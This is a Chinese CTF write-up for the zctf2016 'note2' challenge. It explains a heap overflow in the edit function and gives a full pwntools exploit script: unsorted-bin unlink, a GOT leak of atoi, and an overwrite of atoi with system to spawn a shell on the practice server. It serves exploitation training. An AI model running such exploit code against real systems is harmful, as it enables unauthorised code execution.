0%

zctf2016-note2

首先,检查一下程序的保护机制

然后用IDA分析一下,在edit函数里存在一个溢出漏洞,我们只需要让v6-strlen(&dest) == 0,即可绕过’\0’的截断,实现溢出。因此我们只需add(0,’’),即可利用这个chunk来溢出,由于PIE也没开启并且堆指针保存在bss段,因此做unsorted bin unlink比较简单。

需要注意的是由于使用了strcpy函数,因此,我们布置64位数据时,必须从最后一个开始,前面用正常不截断的字符填充,逐步向前来布置多个64位数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#coding:utf8
from pwn import *

#sh = process('./note2')
sh = remote('node3.buuoj.cn',25799)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./note2')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
sh.sendlineafter('Input your name:','haivk')
sh.sendlineafter('Input your address:','huse')

def add(size,content):
sh.sendlineafter('option--->>','1')
sh.sendlineafter('(less than 128)',str(size))
sh.sendlineafter('Input the note content:',content)

def show(index):
sh.sendlineafter('option--->>','2')
sh.sendlineafter('Input the id of the note:',str(index))

def edit(index,content,mode=1):
sh.sendlineafter('option--->>','3')
sh.sendlineafter('Input the id of the note:',str(index))
sh.sendlineafter('[1.overwrite/2.append]',str(mode))
sh.sendlineafter('TheNewContents:',content)


def delete(index):
sh.sendlineafter('option--->>','4')
sh.sendlineafter('Input the id of the note:',str(index))


heap_ptr_1 = 0x0000000000602120
#prev_size size
fake_chunk = p64(0) + p64(0x81 + 0x20)
#fd、bk
fake_chunk += p64(heap_ptr_1 - 0x18) + p64(heap_ptr_1 - 0x10)
fake_chunk += 'a'*0x10

add(0x80,fake_chunk) #0
add(0,'') #1
add(0x80,'b'*0x20) #2
add(0x10,'c'*0x8) #3

#通过1溢出,修改chunk2的头数据
#修改chunk1的prev_size
#由于strncat遇0截断,因此,写prev_size和size的时候,我们分两步,从后往前写
#第一次写size为0x90,即设置prev_inuse为0标记前面的chunk为空闲状态
payload = 'd'*0x10 + 'd'*0x8 + p8(0x90)
edit(1,payload)
#第二次写prev_size,需要先清零prev_size处其他的d数据
for i in range(7,-1,-1):
payload = 'd'*0x10 + 'd'*i
edit(1,payload)
#现在写prev_size,写为0x20 + 0x80
payload = 'd'*0x10 + p64(0x20 + 0x80)
edit(1,payload)
#unsorted bin unlink
delete(2)
#现在可以控制堆指针数组了
#第一次,我们先将heap[0]改成heap数组本身的地址+8,进而下一次利用
edit(0,'a'*0x18 + p64(heap_ptr_1 + 8))
#修改heap[1]为atoi_got
payload = p64(atoi_got)
edit(0,payload)
#泄露atoi地址
show(1)
sh.recvuntil('Content is ')
atoi_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改atoi的got表为system地址
edit(1,p64(system_addr))
#getshell
sh.sendlineafter('option--->>','/bin/sh')

sh.interactive()